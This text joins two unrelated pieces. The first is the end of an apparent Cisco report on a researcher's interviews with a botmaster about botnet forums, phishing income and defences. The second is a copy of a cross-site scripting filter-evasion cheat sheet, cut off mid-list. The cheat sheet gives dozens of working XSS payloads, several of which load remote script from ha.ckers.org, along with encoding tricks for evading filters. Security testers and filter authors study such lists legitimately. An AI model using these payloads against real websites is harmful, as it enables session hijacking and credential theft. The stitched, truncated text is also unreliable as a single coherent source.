Figures 5 and 6 shows the conversations of the botmaster directing the researcher to the forum.

Figure 5. Directions to a Forum—Part 1

Figure 6. Directions to a Forum—Part 2

One-Stop Botnet Shopping

The forum hosted discussions on all the information that anyone would need to form a botnet, including several detailed how-to guides. The researcher was able to acquire source code for the bot and the server from the forum. The server code was based upon a modified Unreal IRC server. The client code, which would have no legitimate use, was a valuable source for IPS signatures. While it would be possible that all of the command functionality could be rewritten, if botmasters were capable of doing that, they likely wouldn’t use the publicly available source code.

Entire sections of the forum were dedicated to the buying and selling of botnet paraphernalia, such as RapidShare file hosting accounts, packers, password lists, bot software, and password stealers. The bot software is advertised much like any other software, listing various features such as “four methods of command and control,” “undetected by virus scanners,” “anti-x (sandbox, debugger, etc.),” “process monitoring,” and so forth. Several bot software authors have followed the Microsoft practice of offering multiple versions of software at tiered pricing levels.

The “For Sale” sections were governed by a very specific set of rules, including a rule that stated that botnet software could not be sold in the forum, likely due to the laws of the country in which the server hosting the forum resides.

The software for creating botnets, including directions and tutorials, was widely available for download or purchase. It was forbidden to sell the software on the forum if the software was publicly available, a rule that seemed to be an attempt to deter botmasters from taking advantage of one another. For concerned bot shoppers, all software was verified by a trusted moderator so that the buyer could trust that they would be receiving the software for which they were paying.

Pretense to Avoid Pwning

The customer who had originally been infected had been clean for months when the researcher decided to seek out the botmaster again to learn more about the botnet community. The researcher was concerned about not revealing any specifics about the customer or himself but needed to establish a level of trust with the botmaster. With these considerations in mind, the researcher decided it was more likely that the botmaster would speak with a journalist than an IPS specialist pretending to be a fellow botmaster.

After re-establishing contact with the botmaster, the researcher promptly “confessed” to being a reporter researching an article on botnets. The researcher explained that he had contacted the botmaster again because he was seeking the most accurate data possible for his article. The researcher expected his virtual disguise would pass the botmaster’s scrutiny because of the widespread disdain by certain groups in the security community of the quality of security reporting.

Within the security community, there is a perception that only a few reporters actually understand the security topics that they cover. Some part of nearly every story is wrong or greatly exaggerated. For example, a recent article in PC World [1] stated that the widely publicized attack on the creator of Metasploit was performed by an unknown attacker who had weaponized Dan Kaminsky’s discovery of a fundamental flaw in DNS [2]. The article contained so many errors that, in addition to a printed retraction, additional reporting was required to correct the published description of the issue [3]. H D Moore, Metasploit’s creator, claimed that the statements attributed to him were completely fabricated [4].

The botmaster had strong opinions on security reporting. He mentioned conflickr in particular as example of faulty reporting that resulted in exaggerated numbers of systems affected. One antivirus software company [5] had based its publicly reported numbers of affected machine on a variable in the URI sent from the compromised machines. The variable, known as Q, reported the number of machines that had been successfully attacked to the botnet’s command and control system. This method of calculating the number of compromised machines was easily manipulated by Dynamic Host Configuration Protocol (DHCP) and other means. A user on the company’s public blog even posted a comment pointing out the possibility of easy manipulation, but the company dismissed the comment and did not correct its reported numbers.

The actual count of affected systems would not be realized until weeks later in a subsequent report by a separate research company [6] that explicitly pointed out that “Q reports the number of machines that each victim claims to have infected. Q may be artificially inflated by reinfections and DHCP effects” (The Q variable is the value in the URI that was thought to report the number of compromised machines.) According to the latest report [7], the numbers reported using the initial method was was off by a multiple of 50.

Figure 7 shows a continuation of the conversation between the researcher and the botmaster.

Figure 7. A Little Anonymous Fame

The researcher assured the botmaster that even if he chose not to be interviewed or answer questions, he could have a little “anonymous fame.” Surprisingly, the botmaster agreed to participate. Recognizing the unusual opportunity, the researcher suggested a TOR audio conference [8] using a method known as onion routing that would be untraceable. The botmaster reported he did not have a microphone available, but more likely, he feared the researcher would try to trace him through the tunneling connections. His reluctance to audio conference may also have been based on his lack of knowledge of the onion routing protocol. The researcher’s first question was why it would be preferable to sell bots instead of turning them into spam or phishing networks. The botmaster’s answer was that selling bots was a rarity; normally, bots would be used as a network for phishing attacks. When the researcher asked how much money could actually be made from phishing activities, the botmaster was evasive about his most lucrative bot activities, but said “a guy he knew” was able to earn US$5000 to US$10,000 a week solely through phishing activities.

Figures 8 and 9 show conversations about selling bots.

Figure 8. Phish or Sell

Figure 9. Lucrative or Unprofitable?

The researcher offered the botmaster a lighter question, asking what was the strangest thing the botmaster had found on a compromised machine. The botmaster replied he had found inappropriate pictures of a minor and had promptly reported the issue to the authorities.

The researcher asked the botnet owner about his proudest moment as a botmaster. The answer involved the Windows Distributed Component Object Model (DCOM) attack (MS03-026, IAM 11104), which exploited a bug in the DCOM Remote Procedure Call (RPC) interface. The vulnerability existed in all modern versions of Windows at the time and was remarkably easy to exploit. The botmaster said that when he ran the attack, his server was flooded with joins, with each join representing the compromised machine of an unsuspecting user.

The researcher and the botmaster continued to chat, discussing protective measures. New security features in Windows Vista, such as kernel patch protection, prevented his bot from running in Ring0 [9]. Ring0 is a term from system management mode. Briefly, this protection system involves three rings. Ring0 is the most privileged ring, where the kernel resides, and Ring3 is the least privileged ring, where a user’s programs execute. Given this limitation, the botmaster’s bot would not function on the Vista OS.

Figure 10 shows the conversation about Ring0

Figure 10. Protective Measures

Over the course of the conversations, the botmaster revealed that he could never trust anyone 100 percent of the time and that it was necessary for him to be on guard constantly and follow good computing practices. Other botmasters would act on any opportunity to take over his networks, and according to Google-cache hits, they had tried in the past. However, lack of trust is common among botnet owners, and with good reason. In one instance, the botmaster had used a hijacked account to impersonate a law enforcement official and force another botmaster to abandon a 6,000-node network. The botmaster had to remain alert at all times, his firewall blocking nearly all inbound connections, and surfing the Internet via proxy chains [10] to remain anonymous.

The botmaster recommended a list of best and worst sites that are based around forums. Forums may facilitate the code re-use that is often associated with botnet clients. The botnet community is similar to the open source community, in which more experienced users in the forum help or humiliate new botmasters. According to the botmaster, only 20 percent really understand the code offered through the forums; the rest simply run the code and do their best to follow the help files. He estimated another three to five percent of botmasters write unique code.

Figure 11 shows a conversation in which the botmaster estimates the percentage of unique coders.

Figure 11. Who Writes Code?

Conclusion

Many people, researchers included, wonder why attackers do not pursue legitimate IT or programming jobs. According to the botmaster, the barriers to legitimate work are a criminal record and a lack of professional education; frequently, both factors prevent attackers from gaining regular employment.

Figure 12 shows the conversation regarding barriers to legitimate occupations.

Figure 12. Why not Get a Real Job?

The researcher asked how attackers experience security companies and services, and whether the botmaster felt pressured by the security companies. His response was that “a few companies catch on very quickly but, for the most part, it is business as usual.”

As the botmaster stated, running a botnet was his business. The criminality of running a botnet was simply a by-product of his primary means of employment. The botmaster’s product is a management interface to a multinode network that can be sold to other customers for a profit. Perceiving himself as a small business owner, the botmaster is not concerned with impacting the functionality of a user’s personal computer or with the possibilities of identity theft or data leakage, but instead with generating income.

Anyone with basic computer experience is able to run a botnet. It is not necessary to understand the code, nor is there a need to understand networking. Both traditional and new media organizations frequently report on the need to patch against the latest threat that exploits a recent vulnerability. Readers rarely hear, however, about the kid who lives in their neighborhood who runs a 10,000-node botnet based off of MSN instant message spam. All bots are not created with equal proficiency. Botmasters are implementing cutting-edge evasion techniques to avoid detection and prevent reverse engineering. It is imperative to keep attackers of both types in mind, professionals and script kiddies, when designing a network’s defenses. To effectively combat the bot economy, the cost of doing business must be raised by educating users and following security best practices. Attackers pursue easy money. Maximum gain with minimal effort is the prime motivator for a botmaster. If the time required to compromise machines increases, attackers will move on to easier targets.

Patching is important, but user education is key. A corporation can deploy the latest security measures but remain vulnerable to data theft, hosting spam servers, or worse. Business users must be educated to comply with safe behavior. If policies are not in place to limit the infiltration on non business communications or if users do not understand the importance of leaving random files unopened, there is little point in administrators patching machines.

Using Cisco IPS alerts, the research team was able to successfully identify and disable a botnet. The IRC traffic on non-standard ports was a clear sign of compromised systems. Without Cisco IPS, the customer would have been blind to the botnet activity and its employees could have had their stored password compromised leading to bank fraud or identify theft. If the customer had been able to run the IPS inline, the compromise would not have occurred. An intrusion detection system also has its place in a network; without the history of previous alerts from a management tool, the remediation for the customer’s system would not have been possible.

References

[1] McMillan, Robert. “DNS Attack Writer a Victim of His Own Creation.” PC World, July 29, 2008. (http://www.pcworld.com/article/149125/dns_attack_writer_a_victim_of_his_own_creation.html)

[2] Invisible Denizen. “Kaminsky’s DNS Issue Accidentally Leaked?” July 21 2008. (http://blog.invisibledenizen.org/2008/07/kaminskys-dns-issue-accidentally-leaked.html)

[3] IDG News Service staff. “DNS Attack Writer a Victim of His Own Creation.” PC World, July 30, 2008. (http://www.pcworld.com/businesscenter/article/149136/dns_attack_writer_a_victim_of_his_own_creation.html)

[4] Moore, H D. “DNS Attacks in the Wild.” Metasploit, July 28, 2008. (http://blog.metasploit.com/2008/07/on-dns-attacks-in-wild-and-journalistic.html)

[5] F-Secure. “Calculating the Size of the Downadup Outbreak.” Weblog: News from the Lab. January 16, 2009. (http://www.f-secure.com/weblog/archives/00001584.html)

[6] Phillip Porras, Hassen Saidi, and Vinod Yegneswaran. “An Analysis of Conficker’s Logic and Rendezvous Points.” SRI International, February 4, 2009. (http://mtc.sri.com/Conficker/)

[7] Phillip Porras, Hassen Saidi, and Vinod Yegneswaran. “An Analysis of Conficker’s Logic and Rendezvous Points.: SRI International, February 4, 2009. (http://mtc.sri.com/Conficker/#appendix-1)

[8] The Tor Project (http://www.torproject.org/)

[9] Federico Biancuzzi. “The Quest for ring 0.” Security Focus, May 10, 2006. (http://www.securityfocus.com/columnists/402)

[10] “Proxy Chains” (http://proxychains.sourceforge.net/)

Acknowledgments

Cisco Security Intelligence Operations

This document is provided on an “as is” basis and does not imply any kind of guarantee or warranty, including th

Cross Site Scripting Cheat Sheet

From http://ha.ckers.org/ – written by RSnake

XSS (Cross Site Scripting) Cheat Sheet – esp: for filter evasion

Note from the author: XSS is Cross Site Scripting. If you don’t know how XSS (Cross Site Scripting) works, this page probably won’t help you. This page is for people who already understand the basics of XSS attacks but want a deep understanding of the nuances regarding filter evasion. This page will also not show you how to mitigate XSS vectors or how to write the actual cookie/credential stealing/replay/session riding portion of the attack. It will simply show the underlying methodology and you can infer the rest. Also, please note my XSS page has been replicated by the OWASP 2.0 Guide in the Appendix section with my permission. However, because this is a living document I suggest you continue to use this site to stay up to date.

Also, please note that most of these cross site scripting vectors have been tested in the browsers listed at the bottom of the page, however, if you have specific concerns about outdated or obscure versions please download them from Evolt. Please see the XML format of the XSS Cheat Sheet if you intend to use CAL9000 or other automated tools. If you have an RSS reader feel free to subscribe to the Web Application Security RSS feed below, or join the forum:

XSS (Cross Site Scripting):

XSS locator. Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word “XSS” will pop up. Use the URL encoding calculator below to encode the entire string. Tip: if you’re in a rush and need to quickly check a page, often times injecting the depreciated “<PLAINTEXT>” tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably:

‘;alert(String.fromCharCode(88,83,83))//\’;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//\”;alert(String.fromCharCode(88,83,83))//–></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

XSS locator 2. If you don’t have much space and know there is no vulnerable JavaScript on the page, this string is a nice compact XSS injection check. View source after injecting it and look for <SCRIPT verses &lt;SCRIPT to see if it is vulnerable:

”;!–”<SCRIPT>alert(1)</SCRIPT>=&{()}

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here):

<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Image XSS using the JavaScript directive (IE7.0 doesn’t support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well – I’ll probably revise this at a later date):

<IMG SRC=”javascript:alert(‘XSS’);”>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

No quotes and no semicolon using a onerror handler (if there’s an image named “a” there, bad luck – just change it to something else). If no quotes of any kind are allowe d you can eval() a fromCharCode in JavaScript to create any XSS vector you need) . Click here to build your own (thanks to Hannes Leopold):

<IMG SRC=a onerror=alert(String.fromCharCode(88,83,83))>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Case insensitive XSS attack vector:

<IMG SRC=JaVaScRiPt:alert(‘XSS’)>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

HTML entities (the semicolons are required for this to work):

<IMG SRC=javascript:alert(&quot;XSS&quot;)>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Grave accent obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string – this is also useful because lots of cross site scripting filters don’t know about grave accents):

<IMG SRC=`javascript:alert(“RSnake says, ‘XSS’”)`>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Malformed IMG tags. Originally found by Begeek (but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag:

<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an <IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode). As a result, they have been modified to use the onerror event handler instead to make them more useful. Use the XSS calculator for more information:

<IMG SRC=a onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Long UTF-8 Unicode encoding without semicolons (this is often effective in XSS that attempts to look for “&#XX;”, since most people don’t know about padding – up to 7 numeric characters total). This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate a html encoded string (I’ve seen this in the wild):

<IMG SRC=a onerror=&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Hex encoding without semicolons (this is also a viable XSS attack against the above string $tmp_string =~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol – which is not true with hex HTML characters). Use the XSS calculator for more information:

<IMG SRC=a onerror=&#97&#108&#101&#114&#116&#40&#39&#88&#83&#83&#39&#41>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Embedded tab to break up the cross site scripting attack. This attack would work against Chrome minus the fact that it doesn’t understand JavaScript directives in image tags like this. However, switch this to a Meta refresh and voila! The same is true for Chrome in the following 4 examples as well:
<IMG SRC=”jav ascript:alert(‘XSS’);”>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Embedded encoded tab to break up XSS:

<IMG SRC=”jav&#x09;ascript:alert(‘XSS’);”>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Embeded newline to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details. The following four XSS examples illustrate this vector:

<IMG SRC=”jav&#x0A;ascript:alert(‘XSS’);”>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I’ve seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):

<IMG SRC=”jav&#x0D;ascript:alert(‘XSS’);”>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Multiline Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector) these are not spaces just one of the three characters as described above:

<IMG SRC = ” j a v a s c r i p t : a l e r t ( ‘ X S S ‘ ) ” >

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Null breaks up JavaScript directive. Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00 in the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example:

perl -e ‘print “<IMG SRC=”" o\0nerror=alert(\”XSS\”)>”;’ > out

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Null breaks up cross site scripting vector. Here is a little known XSS attack vector using null characters. You can actually break up the HTML itself using the same nulls as shown above. I’ve seen this vector bypass some of the most restrictive XSS filters to date:

perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn’t take into account spaces in the word “javascript:” -which is correct since that won’t render- and makes the false assumption that you can’t have a space between the quote and the “javascript:” keyword. The actual reality is you can have any char from 1-32 in decimal):

<IMG SRC=” &#14; javascript:alert(‘XSS’);”>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example “<SCRIPT\s” != “<SCRIPT/XSS\s”:

<SCRIPT/XSS SRC=”http://ha.ckers.org/xss.js”></SCRIPT>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Non-alpha-non-digit part 2 XSS. yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine used to allow for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc…) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here:

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Non-alpha-non-digit part 3 XSS. Yair Amit brought this to my attention that there is slightly different behavior between the IE and Gecko rendering engines that allows just a slash between the tag and the parameter with no spaces. This could be useful if the system does not allow spaces.

<SCRIPT/SRC=”http://ha.ckers.org/xss.js”></SCRIPT>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Extraneous open brackets. Submitted by Franz Sedlmaier, this XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error:

<<SCRIPT>alert(“XSS”);//<</SCRIPT>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

No closing script tags. In older versions of Firefox and Netscape 8.1 in the Gecko rendering engine mode you didn’t actually need the “></SCRIPT>” portion of this Cross Site Scripting vector. Firefox assumes it’s safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn’t effect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they’re not needed generally, although beware, I have no idea what the HTML will end up looking like once this is injected:

<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Protocol resolution in script tags. This particular variant was submitted by Łukasz Pilorz and was based partially off of Ozh’s protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The “.j” is valid, regardless of the encoding type because the browser knows it in context of a SCRIPT tag.

<SCRIPT SRC=//ha.ckers.org/.j>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Half open HTML/JavaScript XSS vector. Unlike Firefox the IE rendering engine doesn’t add extra data to your page, but it does allow the javascript: directive in images. This is useful as a vector because it doesn’t require a close angle bracket. This assumes there is any HTML tag below where you are injecting this cross site scripting vector. Even though there is no close “>” tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ because it doesn’t require the end “>”. As a side note, this was also affective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag:

<IMG SRC=a onerror=”alert(‘XSS’)”

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Double open angle brackets. This is an odd one that Steven Christey brought to my attention. At first I misclassified this as the same XSS vector as above but it’s surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won’t:

<iframe src=http://ha.ckers.org/scriptlet.html <

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

XSS with no single quotes or double quotes or semicolons:

<SCRIPT>a=/XSS/<br /> alert(a.source)</SCRIPT>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Escaping JavaScript escapes. When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a=”$ENV{QUERY_STRING}”;</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read <SCRIPT>var a=”\\”;alert(‘XSS’);//”;</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. The XSS locator uses this method.:

\”;alert(‘XSS’);//

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

End title tag. This is a simple XSS vector that closes <TITLE> tags, which can encapsulate the malicious cross site scripting attack:

</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

INPUT image:

<INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

BODY image:

<BODY BACKGROUND=”javascript:alert(‘XSS’)”>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

BODY tag (I like this method because it doesn’t require using any variants of “javascript:” or “<SCRIPT…” to accomplish the XSS attack). Dan Crowley additionally noted that you can put a space before the equals sign (“onload=” != “onload =”):

<BODY ONLOAD=alert(‘XSS’)>

Browser support: [IE8.0|IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF3.5] [O9.63][C2.0]

Event Handlers that can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing). Please note I have excluded browser support from this section because each one may have different results in different browsers. Thanks to Rene Ledosquet for the HTML+TIME updates:

<br /> 1. FSCommand() (attacker can use this when executed from within an embedded Flash object)<br /> 2. onAbort() (when user aborts the loading of an image)<br /> 3. onActivate() (when object is set as the active element)<br /> 4. onAfterPrint() (activates after user prints or previews print job)<br /> 5. onAfterUpdate() (activates on data object after updating data in the source object)<br /> 6. onBeforeActivate() (fires before the object is set as the active element)<br /> 7. onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard – attackers can do this with the execCommand(“Copy”) function)<br /> 8. onBeforeCut() (attacker executes the attack string right before a selection is cut)<br /> 9. onBeforeDeactivate() (fires right after the activeElement is changed from the current object)<br /> 10. onBeforeEditFocus() (Fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)<br /> 11. onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand(“Paste”) function)<br /> 12. onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand(“Print”) function).<br /> 13. onBeforeUnload() (user would need to be tricked into closing the browser – attacker cannot unload windows unless it was spawned from the parent)<br /> 14. onBegin() (the onbegin event fires immediately when the element’s timeline begins)<br /> 15. onBlur() (in the case where another popup is loaded and window looses focus)<br /> 16. onBounce() (fires when the behavior property of the marquee object is set to “alternate” and the contents of the marquee reach one side of the window)<br /> 17. onCellChange() (fires when data changes in the data provider)<br /> 18. onChange() (select, text, or TEXTAREA field loses focus and its value has been modified)<br /> 19. onClick() (someone clicks on a form)<br /> 20. onContextMenu() (user would need to right click on attack area)<br /> 21. onControlSelect() (fires when the user is about to make a control selection of the object)<br /> 22. onCopy() (user needs to copy something or it can be exploited using the execCommand(“Copy”) command)<br /> 23. onCut() (user needs to copy something or it can be exploited using the execCommand(“Cut”) command)<br /> 24. onDataAvailable() (user would need to change data in an element, or attacker could perform the same function)<br /> 25. onDataSetChanged() (fires when the data set exposed by a data source object changes)<br /> 26. onDataSetComplete() (fires to indicate that all data is available from the data source object)<br /> 27. onDblClick() (user double-clicks a form element or a link)<br /> 28. onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document)<br /> 29. onDrag() (requires that the user drags an object)<br /> 30. onDragEnd() (requires that the user drags an object)<br /> 31. onDragLeave() (requires that the user drags an object off a valid location)<br /> 32. onDragEnter() (requires that the user drags an object into a valid location)<br /> 33. onDragOver() (requires that the user drags an object into a valid location)<br /> 34. onDragDrop() (user drops an object (e.g. file) onto the browser window)<br /> 35. onDrop() (user drops an object (e.g. file) onto the browser window)<br /> 36. onEnd() (the onEnd event fires when the timeline ends. This can be exploited, like most of the HTML+TIME event handlers by doing something like <P STYLE=”behavior:url(‘#default#time2′)” onEnd=”alert(‘XSS’)”>)<br /> 37. onError() (loading of a document or image causes an error)<br /> 38. onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object)<br /> 39. onFilterChange() (fires when a visual filter completes state change)<br /> 40. onFinish() (attacker can create the exploit when marquee is finished looping)<br /> 41. onFocus() (attacker executes the attack string when the window gets focus)<br /> 42. onFocusIn() (attacker executes the attack string when window gets focus)<br /> 43. onFocusOut() (attacker executes the attack string when window looses focus)<br /> 44. onHelp() (attacker executes the attack string when users hits F1 while the window is in focus)<br /> 45. onKeyDown() (user depresses a key)<br /> 46. onKeyPress() (user presses or holds down a key)<br /> 47. onKeyUp() (user releases a key)<br /> 48. onLayoutComplete() (user would have to print or print preview)<br /> 49. onLoad() (attacker executes the attack string after the window loads)<br /> 50. onLoseCapture() (can be exploited by the releaseCapture() method)<br /> 51. onMediaComplete() (When a streaming media file is used, this event could fire before the file starts playing)<br /> 52. onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem)<br /> 53. onMouseDown() (the attacker would need to get the user to click on an image)<br /> 54. onMouseEnter() (cursor moves over an object or area)<br /> 55. onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again)<br /> 56. onMouseMove() (the attacker would need to get the user to mouse over an image or table)<br /> 57. onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again)<br /> 58. onMouseOver() (cursor moves over an object or area)<br /> 59. onMouseUp() (the attacker would need to get the user to click on an image)<br /> 60. onMouseWheel() (the attacker would need to get the user to use their mouse wheel)<br /> 61. onMove() (user or attacker would move the page)<br /> 62. onMoveEnd() (user or attacker would move the page)<br /> 63. onMoveStart() (user or attacker would move the page)<br /> 64. onOutOfSync() (interrupt the element’s ability to play its media as defined by the timeline)<br /> 65. onPaste() (user would need to paste or attacker could use the execCommand(“Paste”) function)<br /> 66. onPause() (the onpause event fires on every element that is active when the timeline pauses, including the body element)<br /> 67. onProgress() (attacker would use this as a flash movie was loading)<br /> 68. onPropertyChange() (user or attacker would need to change an element property)<br /> 69. onReadyStateChange() (user or attacker would need to change an element property)<br /> 70. onRepeat() (the event fires once for each repetition of the timeline, excluding the first full cycle)<br /> 71. onReset() (user or attacker resets a form)<br /> 72. onResize() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)<br /> 73. onResizeEnd() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)<br /> 74. onResizeStart() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)<br /> 75. onResume() (the onresume event fires on every element that becomes active when the timeline resumes, including the body element)<br /> 76. onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)<br /> 77. onRowsEnter() (user or attacker would need to change a row in a data source)<br /> 78. onRowExit() (user or attacker would need to change a row in a data source)<br /> 79. onRowDelete() (user or attacker would need to delete a row in a data source)<br /> 80. onRowInserted() (user or attacker would need to insert a row in a data source)<br /> 81. onScroll() (user would need to scroll, or attacker could use the scrollBy() 